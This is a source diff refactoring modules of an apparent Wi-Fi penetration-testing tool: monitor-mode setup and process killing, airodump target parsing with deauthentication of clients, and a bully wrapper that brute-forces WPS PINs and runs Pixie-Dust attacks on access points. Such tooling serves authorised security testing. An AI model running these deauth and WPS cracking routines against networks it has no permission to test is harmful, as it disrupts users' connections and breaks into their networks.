dependency_url = 'https://www.aircrack-ng.org/install.html'
base_interface = None
killed_network_manager = False
# Drivers that need to be manually put into monitor mode
BAD_DRIVERS = ['rtl8821au']
#see if_arp.h
ARPHRD_ETHER = 1 #managed
ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
@@ -28,9 +73,9 @@ class Airmon(object):
def print_menu(self):
''' Prints menu '''
print Interface.menu_header()
print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface))
Color.pl(' {G}%d{W}. %s' % (idx, iface))
def get(self, index):
''' Gets interface at index (starts at 1) '''
@@ -41,38 +86,60 @@ class Airmon(object):
@staticmethod
def get_interfaces():
'''
Returns:
List of Interface objects known by airmon-ng
'''
'''Returns List of AirmonIface objects known by airmon-ng'''
interfaces = []
p = Process('airmon-ng')
for line in p.stdout().split('\n'):
# Ignore blank/header lines
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'):
# [PHY ]IFACE DRIVER CHIPSET
airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$')
matches = airmon_re.match(line)
if not matches:
continue
# Strip out interface information
fields = line.split("\t")
while '' in fields:
fields.remove('')
# Add Interface object to list
interfaces.append(Interface(fields))
phy, interface, driver, chipset = matches.groups()
if phy == 'PHY' or phy == 'Interface':
continue # Header
if len(interface.strip()) == 0:
continue
interfaces.append(AirmonIface(phy, interface, driver, chipset))
return interfaces
@staticmethod
def start_baddriver(iface): #fix for bad drivers like the rtl8812AU
os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface))
with open("/sys/class/net/" + iface + "/type", "r") as f:
def start_bad_driver(iface):
'''
Manually put interface into monitor mode (no airmon-ng or vif).
Fix for bad drivers like the rtl8812AU.
'''
Ip.down(iface)
Iw.mode(iface, 'monitor')
Ip.up(iface)
# /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):
return iface
return None
@staticmethod
def stop_baddriver(iface):
os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface))
with open("/sys/class/net/" + iface + "/type", "r") as f:
def stop_bad_driver(iface):
'''
Manually put interface into managed mode (no airmon-ng or vif).
Fix for bad drivers like the rtl8812AU.
'''
Ip.down(iface)
Iw.mode(iface, 'managed')
Ip.up(iface)
# /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_ETHER):
return iface
@@ -84,7 +151,7 @@ class Airmon(object):
Starts an interface (iface) in monitor mode
Args:
iface - The interface to start in monitor mode
Either an instance of Interface object,
Either an instance of AirmonIface object,
or the name of the interface (string).
Returns:
Name of the interface put into monitor mode.
@@ -92,99 +159,110 @@ class Airmon(object):
Exception - If an interface can't be put into monitor mode
'''
# Get interface name from input
if type(iface) == Interface:
iface = iface.name
Airmon.base_interface = iface
if type(iface) == AirmonIface:
iface_name = iface.interface
driver = iface.driver
else:
iface_name = iface
driver = None
# Call airmon-ng
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
(out,err) = Process.call('airmon-ng start %s' % iface)
# Remember this as the 'base' interface.
Airmon.base_interface = iface_name
# Find the interface put into monitor mode (if any)
mon_iface = None
for line in out.split('\n'):
if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
mon_iface = line.split(' on ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
Color.p('{+} enabling {G}monitor mode{W} on {C}%s{W}... ' % iface_name)
if mon_iface is None:
# Airmon did not enable monitor mode on an interface
mon_iface = Airmon.start_baddriver(iface)
if mon_iface is None:
Color.pl("{R}failed{W}")
airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
enabled_iface = Airmon._parse_airmon_start(airmon_output)
if enabled_iface is None and driver in Airmon.BAD_DRIVERS:
Color.p('{O}"bad driver" detected{W} ')
enabled_iface = Airmon.start_bad_driver(iface_name)
if enabled_iface is None:
Color.pl('{R}failed{W}')
monitor_interfaces = Iw.get_interfaces(mode='monitor')
# Assert that there is an interface in monitor mode
if len(mon_ifaces) == 0:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
if len(monitor_interfaces) == 0:
Color.pl('{R}failed{W}')
raise Exception('Cannot find any interfaces in monitor mode')
# Assert that the interface enabled by airmon-ng is in monitor mode
if mon_iface not in mon_ifaces:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
if enabled_iface not in monitor_interfaces:
Color.pl('{R}failed{W}')
raise Exception('Cannot find %s with type:monitor' % enabled_iface)
# No errors found; the device 'mon_iface' was put into MM.
Color.pl("{G}enabled {C}%s{W}" % mon_iface)
# No errors found; the device 'enabled_iface' was put into Mode:Monitor.
Color.pl('{G}enabled {C}%s{W}' % enabled_iface)
Configuration.interface = mon_iface
return enabled_iface
return mon_iface
@staticmethod
def _parse_airmon_start(airmon_output):
'''Find the interface put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'.*\(mac80211 monitor mode (?:vif )?enabled (?:for [^ ]+ )?on (?:\[\w+\])?(\w+)\)?.*')
for line in airmon_output.split('\n'):
matches = enabled_re.match(line)
if matches:
return matches.group(1)
return None
@staticmethod
def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
(out,err) = Process.call('airmon-ng stop %s' % iface)
mon_iface = None
for line in out.split('\n'):
# aircrack-ng 1.2 rc2
if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
mon_iface = line.split(' for ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
Color.p('{!}{W} Disabling {O}monitor{W} mode on {R}%s{W}...\n' % iface)
# aircrack-ng 1.2 rc1
match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
if match:
mon_iface = match.groups()[0]
break
airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
if not mon_iface:
mon_iface = Airmon.stop_baddriver(iface)
(disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)
if mon_iface:
Color.pl('{R}disabled %s{W}' % mon_iface)
if not disabled_iface and iface in Airmon.BAD_DRIVERS:
Color.p('{!} {O}"bad driver" detected{W} ')
disabled_iface = Airmon.stop_bad_driver(iface)
if disabled_iface:
Color.pl('{+}{W} Disabled monitor mode on {G}%s{W}' % disabled_iface)
else:
Color.pl('{O}could not disable on {R}%s{W}' % iface)
Color.pl('{!} {O}Could not disable {R}%s{W}' % iface)
return (disabled_iface, enabled_iface)
@staticmethod
def get_interfaces_in_monitor_mode():
'''
Uses 'iwconfig' to find all interfaces in monitor mode
Returns:
List of interface names that are in monitor mode
'''
interfaces = []
(out, err) = Process.call("iwconfig")
for line in out.split("\n"):
if len(line) == 0: continue
if line[0] != ' ':
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0]
if 'Mode:Monitor' in line and iface not in interfaces:
interfaces.append(iface)
return interfaces
def _parse_airmon_stop(airmon_output):
'''Find the interface taken out of into monitor mode (if any)'''
# airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*')
# airmon-ng 1.2rc1 output: wlan0mon (removed)
removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)')
# Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0)
enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*')
disabled_iface = None
enabled_iface = None
for line in airmon_output.split('\n'):
matches = disabled_re.match(line)
if matches:
disabled_iface = matches.group(1)
matches = removed_re.match(line)
if matches:
disabled_iface = matches.group(1)
matches = enabled_re.match(line)
if matches:
enabled_iface = matches.group(1)
return (disabled_iface, enabled_iface)
@staticmethod
@@ -193,34 +271,34 @@ class Airmon(object):
Asks user to define which wireless interface to use.
Does not ask if:
1. There is already an interface in monitor mode, or
2. There is only one wireles interface (automatically selected).
2. There is only one wireless interface (automatically selected).
Puts selected device into Monitor Mode.
'''
Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}')
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
mon_count = len(mon_ifaces)
if mon_count == 1:
Color.p('\n{+} Looking for {C}wireless interfaces{W}...')
monitor_interfaces = Iw.get_interfaces(mode='monitor')
if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode
iface = mon_ifaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
% iface);
iface = monitor_interfaces[0]
Color.clear_entire_line()
Color.pl('{+} Using {G}%s{W} already in monitor mode' % iface);
Airmon.base_interface = None
return iface
Color.clear_entire_line()
Color.p('{+} Checking {C}airmon-ng{W}...')
a = Airmon()
count = len(a.interfaces)
if count == 0:
# No interfaces found
Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
Color.pl('{!} {O}make sure your wireless device is connected')
Color.pl('{!} {O}see {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
Color.pl('{!} {O}Make sure your wireless device is connected')
Color.pl('{!} {O}See {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
raise Exception('airmon-ng did not find any wireless interfaces')
Color.pl('')
Color.clear_entire_line()
a.print_menu()
Color.pl('')
@@ -230,85 +308,91 @@ class Airmon(object):
choice = 1
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
question = Color.s('{+} Select wireless interface ({G}1-%d{W}): ' % (count))
choice = raw_input(question)
iface = a.get(choice)
if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
if a.get(choice).interface in monitor_interfaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface)
else:
iface.name = Airmon.start(iface)
return iface.name
iface.interface = Airmon.start(iface)
return iface.interface
@staticmethod
def terminate_conflicting_processes():
''' Deletes conflicting processes reported by airmon-ng '''
'''
% airmon-ng check
airmon_output = Process(['airmon-ng', 'check']).stdout()
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2272 dhclient
2293 NetworkManager
3302 wpa_supplicant
'''
# Conflicting process IDs and names
pid_pnames = []
out = Process(['airmon-ng', 'check']).stdout()
if 'processes that could cause trouble' not in out:
# No proceses to kill
# 2272 dhclient
# 2293 NetworkManager
pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$')
for line in airmon_output.split('\n'):
match = pid_pname_re.match(line)
if match:
pid = match.group(1)
pname = match.group(2)
pid_pnames.append( (pid, pname) )
if len(pid_pnames) == 0:
return
hit_pids = False
for line in out.split('\n'):
if re.search('^ *PID', line):
hit_pids = True
continue
if not hit_pids or line.strip() == '':
continue
match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
if match:
# Found process
pid = match.groups()[0]
pname = match.groups()[1]
if Configuration.kill_conflicting_processes:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
if pname == 'NetworkManager':
Airmon.killed_network_manager= True
else:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
if not Configuration.kill_conflicting_processes:
Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}')
# Don't kill processes, warn user
names_and_pids = ', '.join([
'{R}%s{O} (PID {R}%s{O})' % (pname, pid)
for pid, pname in pid_pnames
])
Color.pl('{!} {O}Conflicting processes: %s' % names_and_pids)
Color.pl('{!} {O}If you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return
Color.pl('{!} {O}Killing {R}%d {O}conflicting processes' % len(pid_pnames))
for pid, pname in pid_pnames:
if pname == 'NetworkManager' and Process.exists('service'):
Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
# Can't just pkill network manager; it's a service
Process(['service', 'network-manager', 'stop']).wait()
Airmon.killed_network_manager = True
elif pname == 'avahi-daemon' and Process.exists('service'):
Color.pl('{!} {O}stopping avahi-daemon ({R}service avahi-daemon stop{O})')
# Can't just pkill avahi-daemon; it's a service
Process(['service', 'avahi-daemon', 'stop']).wait()
else:
Color.pl('{!} {R}Terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
try:
os.kill(int(pid), signal.SIGTERM)
except:
pass
@staticmethod
def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
(out,err) = Process.call('ifconfig %s up' % (iface))
Color.pl(" {R}done{W}")
Color.p('{!}{W} Putting interface {R}%s{W} {G}up{W}...\n' % (iface))
Ip.up(iface)
Color.pl('{+}{W} Done !')
@staticmethod
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
Color.p('{!} {O}restarting {R}NetworkManager{O}...')
if Process.exists('service'):
cmd = 'service network-manager start'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != '':
Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != '':
Color.pl('{!} {O}STDERR> %s{W}' % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return
if Process.exists('systemctl'):
@@ -316,18 +400,40 @@ class Airmon(object):
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != '':
Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != '':
Color.pl('{!} {O}STDERR> %s{W}' % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return
else:
Color.pl(" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}")
Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}')
if __name__ == '__main__':
Airmon.terminate_conflicting_processes()
stdout = '''
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
5563 avahi-daemon
5564 avahi-daemon
PHY Interface Driver Chipset
phy0 wlx00c0ca4ecae0 rtl8187 Realtek Semiconductor Corp. RTL8187
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx00c0ca4ecae0)
'''
start_iface = Airmon._parse_airmon_start(stdout)
print('start_iface from stdout:', start_iface)
Configuration.initialize(False)
iface = Airmon.ask()
Airmon.stop(iface)
(disabled_iface, enabled_iface) = Airmon.stop(iface)
print('Disabled:', disabled_iface)
print('Enabled:', enabled_iface)

View File

@@ -1,30 +1,34 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from .tshark import Tshark
from .wash import Wash
from ..util.process import Process
from ..config import Configuration
from ..model.target import Target
from ..model.target import Target, WPSState
from ..model.client import Client
import os, time
class Airodump(object):
class Airodump(Dependency):
''' Wrapper around airodump-ng program '''
dependency_required = True
dependency_name = 'airodump-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\
ivs_only=False, skip_wps=False):
'''
Sets up airodump arguments, doesn't start process yet
'''
wps=WPSState.UNKNOWN, target_bssid=None,
output_file_prefix='airodump',\
ivs_only=False, skip_wps=False, delete_existing_files=True):
'''Sets up airodump arguments, doesn't start process yet.'''
Configuration.initialize()
if interface is None:
interface = Configuration.interface
if interface is None:
raise Exception("Wireless interface must be defined (-i)")
raise Exception('Wireless interface must be defined (-i)')
self.interface = interface
self.targets = []
@@ -44,9 +48,11 @@ class Airodump(object):
# For tracking decloaked APs (previously were hidden)
self.decloaking = False
self.decloaked_targets = []
self.decloaked_bssids = set()
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
self.delete_existing_files = delete_existing_files
def __enter__(self):
'''
@@ -54,7 +60,8 @@ class Airodump(object):
Called at start of 'with Airodump(...) as x:'
Actually starts the airodump process.
'''
self.delete_airodump_temp_files()
if self.delete_existing_files:
self.delete_airodump_temp_files(self.output_file_prefix)
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
@@ -66,22 +73,15 @@ class Airodump(object):
'-w', self.csv_file_prefix, # Output file prefix
'--write-interval', '1' # Write every second
]
if self.channel:
command.extend(['-c', str(self.channel)])
elif self.five_ghz:
command.extend(['--band', 'a'])
if self.channel: command.extend(['-c', str(self.channel)])
elif self.five_ghz: command.extend(['--band', 'a'])
if self.encryption:
command.extend(['--enc', self.encryption])
if self.wps:
command.extend(['--wps'])
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.encryption: command.extend(['--enc', self.encryption])
if self.wps: command.extend(['--wps'])
if self.target_bssid: command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
if self.ivs_only: command.extend(['--output-format', 'ivs,csv'])
else: command.extend(['--output-format', 'pcap,csv'])
# Start the process
self.pid = Process(command, devnull=True)
@@ -96,26 +96,35 @@ class Airodump(object):
# Kill the process
self.pid.interrupt()
# Delete temp files
self.delete_airodump_temp_files()
if self.delete_existing_files:
self.delete_airodump_temp_files(self.output_file_prefix)
def find_files(self, endswith=None):
return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith)
@classmethod
def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix):
if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
temp = Configuration.temp()
for fil in os.listdir(temp):
if not fil.startswith(output_file_prefix):
continue
if endswith is None or fil.endswith(endswith):
result.append(os.path.join(temp, fil))
return result
def delete_airodump_temp_files(self):
@classmethod
def delete_airodump_temp_files(cls, output_file_prefix):
'''
Deletes airodump* files in the temp directory.
Also deletes replay_*.cap and *.xor files in pwd.
'''
# Remove all temp files
for fil in self.find_files():
for fil in cls.find_files_by_output_prefix(output_file_prefix):
os.remove(fil)
# Remove .cap and .xor files from pwd
@@ -123,26 +132,38 @@ class Airodump(object):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(fil)
def get_targets(self, apply_filter=True):
# Remove replay/cap/xor files from temp
temp_dir = Configuration.temp()
for fil in os.listdir(temp_dir):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil))
def get_targets(self, old_targets=[], apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
csv_filename = None
for fil in self.find_files(endswith='-01.csv'):
# Found the file
csv_filename = fil
for fil in self.find_files(endswith='.csv'):
csv_filename = fil # Found the file
break
if csv_filename is None or not os.path.exists(csv_filename):
# No file found
return self.targets
# Parse the .CSV file
if csv_filename is None or not os.path.exists(csv_filename):
return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename)
for old_target in old_targets:
for target in targets:
if old_target.bssid == target.bssid:
target.wps = old_target.wps
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
try:
Tshark.check_for_wps_and_update_targets(capfile, targets)
except ValueError:
# No tshark, or it failed. Fall-back to wash
Wash.check_for_wps_and_update_targets(capfile, targets)
if apply_filter:
# Filter targets based on encryption & WPS capability
@@ -151,15 +172,16 @@ class Airodump(object):
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
# Identify decloaked targets
for old_target in self.targets:
for new_target in targets:
if old_target.bssid != new_target.bssid: continue
if old_target.bssid != new_target.bssid:
continue
if new_target.essid_known and not old_target.essid_known:
# We decloaked a target!
self.decloaked_targets.append(new_target)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid)
self.targets = targets
self.deauth_hidden_targets()
@@ -169,32 +191,38 @@ class Airodump(object):
@staticmethod
def get_targets_from_csv(csv_filename):
'''
Returns list of Target objects parsed from CSV file
'''
'''Returns list of Target objects parsed from CSV file.'''
targets = []
import csv
with open(csv_filename, 'rb') as csvopen:
lines = (line.replace('\0', '') for line in csvopen)
csv_reader = csv.reader(lines, delimiter=',')
with open(csv_filename, 'r') as csvopen:
lines = []
for line in csvopen:
line = line.replace('\0', '')
lines.append(line)
csv_reader = csv.reader(lines,
delimiter=',',
quoting=csv.QUOTE_ALL,
skipinitialspace=True,
escapechar='\\')
hit_clients = False
for row in csv_reader:
# Each "row" is a list of fields for a target/client
# Each 'row' is a list of fields for a target/client
if len(row) == 0: continue
if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets
# This is the 'header' for the list of Targets
hit_clients = False
continue
elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients
# This is the 'header' for the list of Clients
hit_clients = True
continue
if hit_clients:
# The current row corresponds to a "Client" (computer)
# The current row corresponds to a 'Client' (computer)
try:
client = Client(row)
except (IndexError, ValueError) as e:
@@ -212,7 +240,7 @@ class Airodump(object):
break
else:
# The current row corresponds to a "Target" (router)
# The current row corresponds to a 'Target' (router)
try:
target = Target(row)
targets.append(target)
@@ -227,11 +255,13 @@ class Airodump(object):
result = []
# Filter based on Encryption
for target in targets:
if Configuration.clients_only and len(target.clients) == 0:
continue
if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps:
elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]:
result.append(target)
elif skip_wps:
result.append(target)
@@ -258,11 +288,11 @@ class Airodump(object):
'''
self.decloaking = False
# Do not deauth if requested
if Configuration.no_deauth: return
if Configuration.no_deauth:
return # Do not deauth if requested
# Do not deauth if channel is not fixed.
if self.channel is None: return
if self.channel is None:
return # Do not deauth if channel is not fixed.
# Reusable deauth command
deauth_cmd = [
@@ -271,22 +301,27 @@ class Airodump(object):
str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
if target.essid_known:
continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
if secs_since_decloak < 30:
continue # Decloak every AP once every 30 seconds
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from ..util.color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients)))
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
@@ -305,4 +340,3 @@ if __name__ == '__main__':
Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str()))
Configuration.delete_temp()

View File

@@ -1,47 +1,69 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from .airodump import Airodump
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..model.wps_result import CrackResultWPS
from ..util.color import Color
from ..util.timer import Timer
from ..util.process import Process
from ..config import Configuration
from ..model.wps_result import CrackResultWPS
import os, time, re
from threading import Thread
class Bully(Attack):
def __init__(self, target):
class Bully(Attack, Dependency):
dependency_required = False
dependency_name = 'bully'
dependency_url = 'https://github.com/aanarchyy/bully'
def __init__(self, target, pixie_dust=True):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.target = target
self.pixie_dust = pixie_dust
self.total_attempts = 0
self.total_timeouts = 0
self.total_failures = 0
self.locked = False
self.state = '{O}Waiting for beacon{W}'
self.start_time = time.time()
self.last_pin = ""
self.pins_remaining = -1
self.eta = ''
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.cmd = []
self.cmd = [
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4",
"--pixiewps",
if Process.exists('stdbuf'):
self.cmd.extend([
'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292
])
self.cmd.extend([
'bully',
'--bssid', target.bssid,
'--channel', target.channel,
#'--detectlock', # Detect WPS lockouts unreported by AP
# Restoring session from '/root/.bully/34210901927c.run'
# WARNING: WPS checksum was bruteforced in prior session, now autogenerated
# Use --force to ignore above warning(s) and continue anyway
'--force',
'-v', '4',
Configuration.interface
]
])
if self.pixie_dust:
self.cmd.insert(-1, '--pixiewps')
self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self):
with Airodump(channel=self.target.channel,
@@ -49,11 +71,7 @@ class Bully(Attack):
skip_wps=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump)
# Start bully
@@ -61,28 +79,14 @@ class Bully(Attack):
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
# Start bully status thread
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
self.get_status())
time.sleep(0.5)
self._run(airodump)
except KeyboardInterrupt as e:
self.stop()
raise e
@@ -91,130 +95,311 @@ class Bully(Attack):
raise e
if self.crack_result is None:
self.pattack('{R}Failed{W}', newline=True)
def _run(self, airodump):
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pexception(e)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Thresholds only apply to Pixie-Dust
if self.pixie_dust:
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
Configuration.wps_pixie_timeout), newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
Configuration.wps_timeout_threshold), newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
Configuration.wps_fail_threshold), newline=True)
self.stop()
return
else:
if self.locked and not Configuration.wps_ignore_lock:
self.pattack('{R}Failed: {O}Access point is {R}Locked{O}',
newline=True)
self.stop()
return
time.sleep(0.5)
def pattack(self, message, newline=False):
# Print message with attack information.
if self.pixie_dust:
# Count down
time_left = Configuration.wps_pixie_timeout - self.running_time()
attack_name = 'Pixie-Dust'
else:
# Count up
time_left = self.running_time()
attack_name = 'PIN Attack'
if self.eta:
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
else:
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
if self.pins_remaining >= 0:
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
else:
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}Failed{W}\n")
Color.pattack('WPS', self.target, attack_name,
'{W}[%s] %s' % (time_msg, message))
if newline:
Color.pl('')
def running_time(self):
return int(time.time() - self.start_time)
